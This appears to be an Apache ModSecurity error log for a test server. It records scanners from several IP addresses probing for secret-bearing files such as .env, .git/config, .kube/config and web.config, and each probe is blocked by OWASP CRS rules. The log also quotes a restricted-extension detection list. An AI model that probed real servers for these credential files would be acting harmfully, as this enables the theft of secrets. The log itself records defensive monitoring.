[Sat Feb 22 03:26:01.570793 2025] [:error] [pid 1324874] [client 45.148.10.166:38386] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;Z7k1uftky72f57E6I5D02AAAAE0&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.571298 2025] [:error] [pid 1324874] [client 45.148.10.166:38386] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;Z7k1uftky72f57E6I5D02AAAAE0&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.673862 2025] [:error] [pid 1324873] [client 45.148.10.166:38394] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Z7k1uSnGn57UX6drZcObBgAAAEw&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.675045 2025] [:error] [pid 1324873] [client 45.148.10.166:38394] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Z7k1uSnGn57UX6drZcObBgAAAEw&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.675548 2025] [:error] [pid 1324873] [client 45.148.10.166:38394] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Z7k1uSnGn57UX6drZcObBgAAAEw&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.789143 2025] [:error] [pid 1324877] [client 45.148.10.166:38406] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;Z7k1ufEC0wnK7F1RxU-HmgAAAFA&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.790121 2025] [:error] [pid 1324877] [client 45.148.10.166:38406] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;Z7k1ufEC0wnK7F1RxU-HmgAAAFA&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.790599 2025] [:error] [pid 1324877] [client 45.148.10.166:38406] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;Z7k1ufEC0wnK7F1RxU-HmgAAAFA&quot;], referer: https://www.google.com/
[Thu Feb 27 17:44:52.507671 2025] [:error] [pid 1444806] [client 18.133.175.70:46992] [client 18.133.175.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8CWhPHy0mwrVDgsmeskGgAAAAE&quot;]
[Thu Feb 27 17:44:52.509815 2025] [:error] [pid 1444806] [client 18.133.175.70:46992] [client 18.133.175.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8CWhPHy0mwrVDgsmeskGgAAAAE&quot;]
[Thu Feb 27 17:44:52.510120 2025] [:error] [pid 1444806] [client 18.133.175.70:46992] [client 18.133.175.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8CWhPHy0mwrVDgsmeskGgAAAAE&quot;]
[Fri Feb 28 03:06:12.386877 2025] [authz_core:error] [pid 1466899] [client 139.59.132.8:39796] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Fri Feb 28 03:06:13.686790 2025] [:error] [pid 1466904] [client 139.59.132.8:39834] [client 139.59.132.8] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Z8EaFROUSWwdYIlHU629RAAAABE&quot;]
[Fri Feb 28 03:06:13.687183 2025] [:error] [pid 1466904] [client 139.59.132.8:39834] [client 139.59.132.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Z8EaFROUSWwdYIlHU629RAAAABE&quot;]
[Fri Feb 28 03:06:13.687472 2025] [:error] [pid 1466904] [client 139.59.132.8:39834] [client 139.59.132.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Z8EaFROUSWwdYIlHU629RAAAABE&quot;]
[Fri Feb 28 03:06:13.919693 2025] [:error] [pid 1466905] [client 139.59.132.8:39836] [client 139.59.132.8] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8EaFW-kRgrJBLrEjXat3QAAABI&quot;]
[Fri Feb 28 03:06:13.920280 2025] [:error] [pid 1466905] [client 139.59.132.8:39836] [client 139.59.132.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8EaFW-kRgrJBLrEjXat3QAAABI&quot;]
[Fri Feb 28 03:06:13.920793 2025] [:error] [pid 1466905] [client 139.59.132.8:39836] [client 139.59.132.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8EaFW-kRgrJBLrEjXat3QAAABI&quot;]
[Fri Feb 28 03:06:14.049586 2025] [:error] [pid 1466906] [client 139.59.132.8:39840] [client 139.59.132.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8EaFh4xm1Q7gW45PFtR4gAAABM&quot;]
[Fri Feb 28 03:06:14.050100 2025] [:error] [pid 1466906] [client 139.59.132.8:39840] [client 139.59.132.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8EaFh4xm1Q7gW45PFtR4gAAABM&quot;]
[Fri Feb 28 03:06:14.050523 2025] [:error] [pid 1466906] [client 139.59.132.8:39840] [client 139.59.132.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8EaFh4xm1Q7gW45PFtR4gAAABM&quot;]
[Fri Feb 28 13:03:45.293130 2025] [:error] [pid 1476118] [client 45.139.104.144:58037] [client 45.139.104.144] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8GmIfzVpr8WDVOYX7X9DgAAAAI&quot;]
[Fri Feb 28 13:03:45.295246 2025] [:error] [pid 1476118] [client 45.139.104.144:58037] [client 45.139.104.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8GmIfzVpr8WDVOYX7X9DgAAAAI&quot;]
[Fri Feb 28 13:03:45.295750 2025] [:error] [pid 1476118] [client 45.139.104.144:58037] [client 45.139.104.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8GmIfzVpr8WDVOYX7X9DgAAAAI&quot;]
[Fri Feb 28 14:12:46.081055 2025] [:error] [pid 1466877] [client 45.139.104.144:61510] [client 45.139.104.144] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8G2TkU8r5yVdJl6pD3zgQAAAAE&quot;]
[Fri Feb 28 14:12:46.081671 2025] [:error] [pid 1466877] [client 45.139.104.144:61510] [client 45.139.104.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8G2TkU8r5yVdJl6pD3zgQAAAAE&quot;]
[Fri Feb 28 14:12:46.082160 2025] [:error] [pid 1466877] [client 45.139.104.144:61510] [client 45.139.104.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8G2TkU8r5yVdJl6pD3zgQAAAAE&quot;]
[Fri Feb 28 18:48:00.880879 2025] [:error] [pid 1476120] [client 109.202.99.46:4475] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;Z8H20DCESQnWmicfTIXYoAAAAAQ&quot;]
[Fri Feb 28 18:48:00.881311 2025] [:error] [pid 1476123] [client 109.202.99.46:40027] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;.kube/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;Z8H20Byipe9XPdczlyWEyQAAAA0&quot;]
[Fri Feb 28 18:48:00.881836 2025] [:error] [pid 1476123] [client 109.202.99.46:40027] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;Z8H20Byipe9XPdczlyWEyQAAAA0&quot;]
[Fri Feb 28 18:48:00.885856 2025] [:error] [pid 1476120] [client 109.202.99.46:4475] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;Z8H20DCESQnWmicfTIXYoAAAAAQ&quot;]
[Fri Feb 28 18:48:00.886331 2025] [:error] [pid 1476120] [client 109.202.99.46:4475] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;Z8H20DCESQnWmicfTIXYoAAAAAQ&quot;]
[Fri Feb 28 18:48:00.886758 2025] [:error] [pid 1476120] [client 109.202.99.46:4475] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;Z8H20DCESQnWmicfTIXYoAAAAAQ&quot;]
